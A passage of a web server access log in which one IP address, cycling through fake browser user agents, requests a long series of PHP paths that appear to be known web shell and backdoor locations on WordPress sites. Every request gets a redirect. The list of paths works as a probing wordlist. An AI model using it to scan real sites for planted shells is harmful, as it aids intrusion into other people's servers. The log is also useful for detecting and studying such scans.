"GET /wp-includes/sitemaps/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:16 +0300] "GET /contacts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:26:16 +0300] "GET /wsa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 192.253.209.164 - - [20/Apr/2026:01:26:17 +0300] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:17 +0300] "GET /firewall.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 192.253.209.164 - - [20/Apr/2026:01:26:17 +0300] "GET /wp-includes/sodium_compat/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:26:18 +0300] "GET /wp-content/uploads/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:26:18 +0300] "GET /lv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:18 +0300] "GET /images/js1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:19 +0300] "GET /wp-admin/maint/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:19 +0300] "GET /.well-known/acme-challenge/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:20 +0300] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:20 +0300] "GET /wp-includes/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 192.253.209.164 - - [20/Apr/2026:01:26:20 +0300] "GET /wp-includes/ID3/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:26:20 +0300] "GET /wp-admin/theme-editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:26:21 +0300] "GET /wp-admin/css/colors/blue/abc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:21 +0300] "GET /wp-admin/maint/wonder.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:21 +0300] "GET /wp-content/themes/twentytwentyfour/wonder.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 192.253.209.164 - - [20/Apr/2026:01:26:22 +0300] "GET /wp-content/plugins/fix/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:22 +0300] "GET /tox.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 192.253.209.164 - - [20/Apr/2026:01:26:22 +0300] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:23 +0300] "GET /wp-includes/js/dist/default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:26:23 +0300] "GET /wp-admin/css/colors/tfileman.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:23 +0300] "GET /tiny.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:26:24 +0300] "GET /wp-admin/js/widgets/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:24 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:24 +0300] "GET /wp-themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:25 +0300] "GET /wp-includes/sodium_compat/src/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 192.253.209.164 - - [20/Apr/2026:01:26:25 +0300] "GET /wp-content/plugins/erinyani/asasx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 192.253.209.164 - - [20/Apr/2026:01:26:26 +0300] "GET /mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:26:26 +0300] "GET /waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 192.253.209.164 - - [20/Apr/2026:01:26:26 +0300] "GET /wp-admin/maint/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 192.253.209.164 - - [20/Apr/2026:01:26:26 +0300] "GET /av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 192.253.209.164 - - [20/Apr/2026:01:26:27 +0300] "GET /wp-admin/css/glex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 192.253.209.164 - - [20/Apr/2026:01:26:27 +0300] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:28 +0300] "GET /wp-includes/SimplePie/Parse/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 192.253.209.164 - - [20/Apr/2026:01:26:28 +0300] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:28 +0300] "GET /wp-content/themes/twentytwentyfour/system_cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:26:29 +0300] "GET /wp-content/themes/sky-pro/js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:29 +0300] "GET /wp-includes/Text/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 192.253.209.164 - - [20/Apr/2026:01:26:29 +0300] "GET /wp-content/themes/pridmag/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:26:30 +0300] "GET /theme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:26:30 +0300] "GET /wp-content/themes/twentytwentytwo/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 192.253.209.164 - - [20/Apr/2026:01:26:30 +0300] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 192.253.209.164 - - [20/Apr/2026:01:26:31 +0300] "GET /Simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 192.253.209.164 - - [20/Apr/2026:01:26:31 +0300] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 192.253.209.164 - - [20/Apr/2026:01:26:31 +0300] "GET /wp-admin/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:32 +0300] "GET /wp-admin/css/colors/ocean/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:26:32 +0300] "GET /wp-content/plugins/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 192.253.209.164 - - [20/Apr/2026:01:26:32 +0300] "GET /.well-known/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 192.253.209.164 - - [20/Apr/2026:01:26:32 +0300] "GET /css/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:33 +0300] "GET /images/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:33 +0300] "GET /wp-includes/SimplePie/Cache/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 192.253.209.164 - - [20/Apr/2026:01:26:33 +0300] "GET /small.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:26:34 +0300] "GET /wp-includes/js/tinymce/plugins/fullscreen/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:26:34 +0300] "GET /NewFile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 192.253.209.164 - - [20/Apr/2026:01:26:34 +0300] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 192.253.209.164 - - [20/Apr/2026:01:26:35 +0300] "GET /error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 192.253.209.164 - - [20/Apr/2026:01:26:35 +0300] "GET /wp-content/plugins/pwnd/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:35 +0300] "GET /wp-includes/widgets/class-wp-widget-search-function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 192.253.209.164 - - [20/Apr/2026:01:26:36 +0300] "GET /wp-content/languages/themes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:36 +0300] "GET /wp-files.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:36 +0300] "GET /functions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:37 +0300] "GET /wp-includes/SimplePie/Canonical.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:37 +0300] "GET /wp-includes/certificates/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:37 +0300] "GET /aks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:38 +0300] "GET /litespeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:38 +0300] "GET /img/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:26:38 +0300] "GET /wp-includes/class-feed-index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 192.253.209.164 - - [20/Apr/2026:01:26:39 +0300] "GET /wpn.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:26:39 +0300] "GET /wp-content/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:26:39 +0300] "GET /.well-known/acme-challenge/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:39 +0300] "GET /wp-includes/customize/class-wp-customize-nav-menu-section-boolean.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 192.253.209.164 - - [20/Apr/2026:01:26:40 +0300] "GET /wp-content/themes/twentytwentyfour/functions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:26:40 +0300] "GET /wp-includes/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:26:40 +0300] "GET /wp-includes/class-wp-dependency-float.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:41 +0300] "GET /wp-includes/PHPMailer/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:26:41 +0300] "GET /wp-includes/PHPMailer/purna.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:41 +0300] "GET /wp-includes/interactivity-api/interactivity-api-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:42 +0300] "GET /wp-includes/l10n/class-wp-widddget-pages.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:42 +0300] "GET /tinyfilemanager/tinyfilemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 192.253.209.164 - - [20/Apr/2026:01:26:43 +0300] "GET /wp-admin/css/colors/light/colors.min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:43 +0300] "GET /wp-includes/customize/class-wp-customize-nav-menu-auto-add-control-repository.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:43 +0300] "GET /wp-includes/assets/script-loader-react-refresh-runtime.min-soap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:26:43 +0300] "GET /wp-includes/ID3/module.audio-video.riff-set.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:44 +0300] "GET /wp-includes/js/tinymce/utils/license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 192.253.209.164 - - [20/Apr/2026:01:26:44 +0300] "GET /wp-includes/Text/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 192.253.209.164 - - [20/Apr/2026:01:26:44 +0300] "GET /.well-known/acme-challenge/wp-load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:45 +0300] "GET /wp-content/upgrade/cc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 192.253.209.164 - - [20/Apr/2026:01:26:45 +0300] "GET /wp-content/themes/aahana/worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:45 +0300] "GET /wp-content/themes/bltm/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 192.253.209.164 - - [20/Apr/2026:01:26:46 +0300] "GET /wp-admin/includes/class_api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:26:46 +0300] "GET /plugins/content/apismtp/apismtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:46 +0300] "GET /wp-admin/includes/class-core-upgrader-first.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 192.253.209.164 - - [20/Apr/2026:01:26:47 +0300] "GET /wp-admin/css/wp-css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:47 +0300] "GET /wp-includes/IXR/goto.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:47 +0300] "GET /wp-admin/css/colors/blue/xboom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:48 +0300] "GET /wp-content/themes/kadence/functions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:26:48 +0300] "GET /Sanskrit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 192.253.209.164 - - [20/Apr/2026:01:26:48 +0300] "GET /wp-fmfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:49 +0300] "GET /.trash7309/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:49 +0300] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:26:49 +0300] "GET /wp-content/plugins/ioxi/ioxi/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 192.253.209.164 - - [20/Apr/2026:01:26:50 +0300] "GET /memberfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:50 +0300] "GET /infos.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:50 +0300] "GET /modules/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:26:51 +0300] "GET /wp-content/x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 192.253.209.164 - - [20/Apr/2026:01:26:51 +0300] "GET /wp-content/wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 192.253.209.164 - - [20/Apr/2026:01:26:51 +0300] "GET /options-writing.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:26:52 +0300] "GET /options-reading.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 192.253.209.164 - - [20/Apr/2026:01:26:52 +0300] "GET /wsad.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:52 +0300] "GET /nation.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 192.253.209.164 - - [20/Apr/2026:01:26:53 +0300] "GET /wp-includes/js/codemirror/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:26:53 +0300] "GET /wp-includes/wp_class_datlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 